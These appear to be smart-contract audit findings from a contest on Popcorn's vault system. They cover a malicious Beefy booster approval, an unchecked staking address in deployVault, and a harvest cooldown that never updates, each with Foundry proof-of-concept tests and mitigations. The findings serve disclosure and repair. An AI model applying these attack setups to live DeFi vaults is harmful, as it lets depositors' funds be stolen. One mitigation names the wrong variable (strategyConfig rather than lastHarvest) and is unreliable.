Popcorn contest - Ch_301's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/adapter/beefy/BeefyAdapter.sol#L46-L84

Vulnerability details

Impact

Users will lose their investments because of malicious beefyBooster contracts.

Proof of Concept

sequenceDiagram
Alice ->> MaliciousBeefyBooster.sol :Deploy his MaliciousBeefyBooster
Note left of Alice: Alice (Adversary User)<br/>
Alice ->> VaultController.sol: deployVault()
Note left of Alice: deploy Vault with,<br/> adapterData{<br/>id=(Templet of BeefyAdapter) <br/>data= address(MaliciousBeefyBooster)<br/>}

Alice is an adversary user, could invoke VaultController.deployVault() and pass his beefyBooster address in the adapterData parameter with the ID of BeefyAdapter. The beefyBooster will be used in the initialization of the cloneAdapter. This is the initialize() of BeefyAdapter. the previous adapterData will be passed here on beefyInitData parameter.

    function initialize(
        bytes memory adapterInitData,
        address registry,
        bytes memory beefyInitData
    ) external initializer {
        (address _beefyVault, address _beefyBooster) = abi.decode(
            beefyInitData,
            (address, address)
        );
        __AdapterBase_init(adapterInitData);

        if (!IPermissionRegistry(registry).endorsed(_beefyVault))
            revert NotEndorsed(_beefyVault);
        if (IBeefyVault(_beefyVault).want() != asset())
            revert InvalidBeefyVault(_beefyVault);
        if (
            _beefyBooster != address(0) &&
            IBeefyBooster(_beefyBooster).stakedToken() != _beefyVault
        ) revert InvalidBeefyBooster(_beefyBooster);

        _name = string.concat(
            "Popcorn Beefy",
            IERC20Metadata(asset()).name(),
            " Adapter"
        );
        _symbol = string.concat("popB-", IERC20Metadata(asset()).symbol());

        beefyVault = IBeefyVault(_beefyVault);
        beefyBooster = IBeefyBooster(_beefyBooster);

        beefyBalanceCheck = IBeefyBalanceCheck(
            _beefyBooster == address(0) ? _beefyVault : _beefyBooster
        );

        IERC20(asset()).approve(_beefyVault, type(uint256).max);

        if (_beefyBooster != address(0))
            IERC20(_beefyVault).approve(_beefyBooster, type(uint256).max);
    }

As we can see here

        if (_beefyBooster != address(0))
            IERC20(_beefyVault).approve(_beefyBooster, type(uint256).max);

The beefyBooster has the approve() to transfer all the shares of the cloneAdapter on the BeefyVault Now any deposit() on Alice vault will invoke beefyBooster.stake()

    function _protocolDeposit(uint256 amount, uint256)
        internal
        virtual
        override
    {
        beefyVault.deposit(amount);
        if (address(beefyBooster) != address(0))
            beefyBooster.stake(beefyVault.balanceOf(address(this)));
    }

stake() function on beefyBooster will contain a malicious logic to steal the users.

Please follow the steps 1- on test\utils\mocks path create two new Mock contracts MockBeefyVault.sol and MockBeefyBooster.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import {ERC20Upgradeable} from "openzeppelin-contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";

interface IERC20 {}

contract MockBeefyVault is ERC20Upgradeable {
    IERC20 public asset;

    constructor(address erc20) public {
        asset = IERC20(erc20);
    }

    function want() public view returns (IERC20) {
        return asset;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

interface IERC20 {}

contract MockBeefyBooster {
    IERC20 public stakedToken;

    constructor(address _stakedToken) public {
        stakedToken = IERC20(_stakedToken);
    }
}

2- on VaultController.t.sol add the following logic A- import

import {BeefyAdapter} from "../../src/vault/adapter/beefy/BeefyAdapter.sol";
import {MockBeefyVault} from "../utils/mocks/MockBeefyVault.sol";
import {MockBeefyBooster} from "../utils/mocks/MockBeefyBooster.sol";

B- on VaultControllerTest contract

   address beefyVault;
    address beefyBooster;
    address beefyAdapterImpl;
    bytes32 beefyTemplateId = "beefyAdapter";

C- on VaultControllerTest.setUp() function

        beefyAdapterImpl = address(new BeefyAdapter());
        beefyVault = address(new MockBeefyVault(address(iAsset)));
        beefyBooster = address(new MockBeefyBooster(beefyVault));

D- on VaultControllerTest.addTemplate() function update this line

    function addTemplate(
        bytes32 templateCategory,
        bytes32 templateId,
        address implementation,
        bool requiresInitData,
        bool endorse
    ) public {
        deploymentController.addTemplate(
            templateCategory,
            templateId,
            Template({
                implementation: implementation,
                endorsed: false,
                metadataCid: metadataCid,
                requiresInitData: requiresInitData,
-                registry: address(registry), 
+                registry: address(permissionRegistry), 
                requiredSigs: requiredSigs
            })
        );
        bytes32[] memory templateCategories = new bytes32[](1);
        bytes32[] memory templateIds = new bytes32[](1);
        templateCategories[0] = templateCategory;
        templateIds[0] = templateId;
        if (endorse)
            controller.toggleTemplateEndorsements(
                templateCategories,
                templateIds
            );
    }

3- Copy the following POCon VaultController.t.sol

    //!START POC
    function test__deployVault_Malicious_beefyBooster_given() public {
     
        addTemplate("Adapter", beefyTemplateId, beefyAdapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);
        {
            address[] memory targets = new address[](1);
            targets[0] = address(beefyVault);
            Permission[] memory permissions = new Permission[](1);
            permissions[0] = Permission(true, false);

            controller.setPermissions(targets, permissions);
            assertTrue(permissionRegistry.endorsed(address(beefyVault)));
            assertFalse(permissionRegistry.rejected(address(beefyVault)));
        }
        controller.setPerformanceFee(uint256(1000));
        controller.setHarvestCooldown(1 days);
        rewardToken.mint(address(this), 10 ether);
        rewardToken.approve(address(controller), 10 ether);

        swapTokenAddresses[0] = address(0x9999);
        uint256 callTimestamp = block.timestamp;

        address vaultClone = controller.deployVault(
            VaultInitParams({
                asset: iAsset,
                adapter: IERC4626(address(0)),
                fees: VaultFees({
                    deposit: 100,
                    withdrawal: 200,
                    management: 300,
                    performance: 400
                }),
                feeRecipient: feeRecipient,
                owner: address(this)
            }),
            DeploymentArgs({
                id: beefyTemplateId,
                data: abi.encode(address(beefyVault), address(beefyBooster))
            }),
            DeploymentArgs({id: "MockStrategy", data: ""}),
            address(0),
            abi.encode(
                address(rewardToken),
                0.1 ether,
                1 ether,
                true,
                10000000,
                2 days,
                1 days
            ),
            VaultMetadata({
                vault: address(0),
                staking: address(0),
                creator: address(this),
                metadataCID: metadataCid,
                swapTokenAddresses: swapTokenAddresses,
                swapAddress: address(0x5555),
                exchange: uint256(1)
            }),
            0
        );

    }

    //! END POC

Tools Used

Manual Review

Recommended Mitigation Steps

You need to endorse the Boosters first to check them later.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108

Vulnerability details

Impact

Users will lose their investments because of malicious staking contracts.

Proof of Concept

Alice is an adversary user, could invoke VaultController.deployVault() and pass his MaliciousStakingContract address to the vaultRegistry after that he will Initialise his MaliciousStakingContract with IERC20(address(vault))

sequenceDiagram
Alice ->> MaliciousStakingContract.sol :Deploy his MaliciousStakingContract
Note left of Alice: Alice (Adversary User)<br/>
Alice ->> VaultController.sol: deployVault()
VaultController.sol -->> Alice: return: address(vault)
Alice ->> MaliciousStakingContract.sol: initialize() with IERC20(address(vault))

Now any normal user will deposit() / mint() on Alice VAULT Then he will stake his shares on MaliciousStakingContract Alice now has complete control of the first investment

Please copy the following POC on VaultController.t.sol

    //!START POC
    function test__deployVault_Malicious_staking_given() public {
        //Normal setup
        addTemplate("Adapter", templateId, adapterImpl, true, true);
        addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
        addTemplate("Vault", "V1", vaultImpl, true, true);
        controller.setPerformanceFee(uint256(1000));
        controller.setHarvestCooldown(1 days);
        rewardToken.mint(address(this), 10 ether);
        rewardToken.approve(address(controller), 10 ether);

        swapTokenAddresses[0] = address(0x9999);
        uint256 callTimestamp = block.timestamp;

        //! You can set any `random adderss` for `stakingClone`
        address stakingClone = address(0x9998);

        //! Deploy a new VAULT with the `random adderss`
        address vaultClone = controller.deployVault(
            VaultInitParams({
                asset: iAsset,
                adapter: IERC4626(address(0)),
                fees: VaultFees({
                    deposit: 100,
                    withdrawal: 200,
                    management: 300,
                    performance: 400
                }),
                feeRecipient: feeRecipient,
                owner: address(this)
            }),
            DeploymentArgs({id: templateId, data: abi.encode(uint256(100))}),
            DeploymentArgs({id: "MockStrategy", data: ""}),
            stakingClone,//! It passed here
            abi.encode(
                address(rewardToken),
                0.1 ether,
                1 ether,
                true,
                10000000,
                2 days,
                1 days
            ),
            VaultMetadata({
                vault: address(0),
                staking: address(0),
                creator: address(this),
                metadataCID: metadataCid,
                swapTokenAddresses: swapTokenAddresses,
                swapAddress: address(0x5555),
                exchange: uint256(1)
            }),
            0
        );
        //! Now the `random adderss` is registered  on `vaultRegistry.sol`
        assertEq(vaultRegistry.getVault(vaultClone).staking, stakingClone);

        //! At the same time the `random adderss` is not exist on `cloneRegistry.sol` 
        assertFalse(cloneRegistry.cloneExists(stakingClone));
    }

    //! END POC

Tools Used

Manual Review

Recommended Mitigation Steps

Add this check on deployVault()

if (staking == address(0)) {
staking = _deployStaking(IERC20(address(vault)), _deploymentController);
}else{
if (!cloneRegistry.cloneExists(staking)) revert NotAllowed(staking);
}

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/adapter/abstracts/AdapterBase.sol#L438-L450

Vulnerability details

Impact

Malicious users could keep invoking AdapterBase.harvest() and this will lead to keep accruedPerformanceFee() and changing the highWaterMark

Proof of Concept

AdapterBase.harvest() don’t update the value of lastHarvest

    function harvest() public takeFees {
        if (
            address(strategy) != address(0) &&
            ((lastHarvest + harvestCooldown) < block.timestamp)
        ) {
            // solhint-disable
            address(strategy).delegatecall(
                abi.encodeWithSignature("harvest()")
            );
        }

        emit Harvested();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

You should set the value of strategyConfig to block.timestamp